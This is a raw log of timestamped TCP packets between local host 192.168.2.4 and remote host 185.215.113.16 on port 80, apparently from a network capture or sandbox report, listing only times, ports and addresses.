Oct 31, 2024 04:15:13.395133972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395144939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395145893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395169973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395349026 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395704031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395715952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395725965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395737886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395750046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395761967 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395767927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395767927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395772934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395785093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395796061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395797014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395848989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395860910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395870924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395881891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395893097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395896912 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395905972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395916939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395919085 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395926952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395927906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395940065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395951033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395951986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.395962954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395973921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.395986080 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.396085978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.396691084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396702051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396712065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396729946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396740913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396753073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396761894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.396761894 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.396764994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396775007 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.396775961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396786928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396799088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396801949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.396810055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396821976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396831989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396842957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396855116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396856070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.396867037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396877050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396883965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.396883965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.396894932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396907091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396925926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396939039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.396939993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.396951914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.397044897 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.397571087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397582054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397593021 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397603989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397614956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397631884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397634983 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.397634983 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.397643089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397655964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397669077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.397722960 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.397953033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397964954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397975922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397985935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.397998095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398010015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398016930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.398016930 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.398044109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398056030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398067951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398082018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.398087025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398098946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398109913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398112059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.398124933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398137093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398147106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398148060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.398148060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.398156881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398168087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398179054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398183107 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.398190022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398200989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398209095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.398212910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.398226976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.398375034 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.398766994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.402719021 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:13.631567001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:13.631767035 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.071422100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.071501970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.124108076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.124108076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.129004002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129026890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129036903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129081011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129110098 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.129156113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129179955 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.129209995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129220009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129230022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129338980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129367113 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.129388094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129400015 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129585028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129614115 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.129617929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129633904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129642010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.129657030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129667997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129677057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129688025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129697084 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.129699945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129709959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.129734039 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.130145073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130181074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130196095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.130198002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130209923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130218983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130229950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130235910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.130242109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130251884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130263090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.130264044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130274057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130284071 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.130299091 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.130287886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130317926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130333900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130335093 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.130346060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130354881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130366087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130367994 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.130418062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.130418062 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.130964994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130975962 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130985975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.130996943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131014109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131023884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131033897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131040096 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131046057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131057024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131067991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131072044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131078959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131092072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131092072 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131117105 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131668091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131679058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131690025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131696939 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131700993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131711960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131722927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131722927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131733894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131748915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131757975 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131766081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131772041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131778002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131788969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131793976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131800890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131810904 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131812096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131824017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131829977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131833076 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.131834984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131840944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.131859064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.132627010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132638931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132647991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132657051 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.132658958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132675886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132680893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.132687092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132697105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132703066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.132709980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132720947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132731915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132735014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.132744074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132755041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132759094 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.132759094 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.132766008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132776976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132787943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132791042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.132798910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132811069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132821083 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.132822037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.132847071 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.133630037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133641958 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133651972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133662939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133663893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.133675098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133686066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133697033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133708000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133712053 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.133712053 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.133719921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133730888 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133740902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133744001 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.133752108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133764029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133774996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.133776903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133786917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133799076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133810043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133810997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.133822918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.133847952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.134572983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134593010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134603977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134617090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134629011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134639978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134645939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134653091 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.134655952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134666920 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134668112 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.134677887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134689093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134700060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134705067 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.134705067 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.134711981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134722948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134735107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134746075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134747982 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.134757996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134757996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.134771109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.134783030 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.135648966 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135660887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135678053 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.135680914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135693073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135704041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135715008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135726929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135736942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135741949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.135749102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135761023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135771990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135771990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.135783911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135795116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135804892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135806084 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.135816097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135828972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135839939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.135860920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.135881901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.135881901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.136533022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136544943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136554956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136568069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136578083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136590004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136600971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136607885 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.136612892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136624098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136635065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136639118 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.136646032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136657000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136668921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136672974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.136672974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.136681080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136692047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.136715889 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.137130022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137140989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137151003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137157917 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:14.137162924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137173891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137180090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137191057 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:14.137193918 CET	49738	80	192.168.2.4	185.215.113.16
